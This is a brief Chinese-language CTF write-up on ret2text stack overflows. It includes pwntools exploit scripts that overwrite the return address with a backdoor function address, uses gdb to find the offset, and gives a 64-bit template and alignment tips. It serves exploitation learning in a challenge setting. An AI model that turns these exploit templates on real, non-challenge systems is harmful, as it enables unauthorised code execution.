用gdb的动态视角看ret2text的实现
来看一道非常简单的栈溢出 后门函数地址ida里很明显,0x8048521 exp本身不难写,下面看一下怎么用gdb确定偏移 1234567from pwn import*io=process("./pwn")#io=remote("pwn.challenge.ctf.show",28175);gdb.attach(io,"b main") #在main函数下断点payload=b"A"*(0x12+0x4)+p32(0x8048521)io.sendline(payload)io.interactive() 0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp) 用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量 我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址
ret2text小tips
exp模板 12345678910from pwn import *io = remote("39.106.48.123", 29826)payload = b"A"*264 + p64(0x401202)io.sendline(payload)io.interactive() 264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址 注意:1.一定不要忘记加4/8个字节覆盖栈底寄存器 2.在64位程序中,如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位







